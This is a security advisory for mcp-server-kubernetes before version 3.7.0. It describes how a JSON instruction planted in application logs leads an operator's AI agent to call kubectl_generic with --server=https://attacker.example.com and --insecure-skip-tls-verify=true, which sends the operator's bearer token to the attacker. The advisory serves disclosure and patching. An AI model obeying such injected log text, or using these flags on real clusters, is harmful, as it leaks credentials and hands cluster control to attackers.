mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

Summary

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Timeline

1. Jun 11, 2026, 6:35 PM UTCCVE published
2. Jun 11, 2026, 7:35 PM UTCCISA SSVC assessment

   Exploitation: poc · Automatable: no · Technical impact: partial

3. Jun 11, 2026, 7:35 PM UTCRecord last updated

Affected versions

• Flux159 mcp-server-kubernetes

  fixed in 3.7.0

• mcp-server-kubernetesnpm

  fixed in 3.7.0

References 2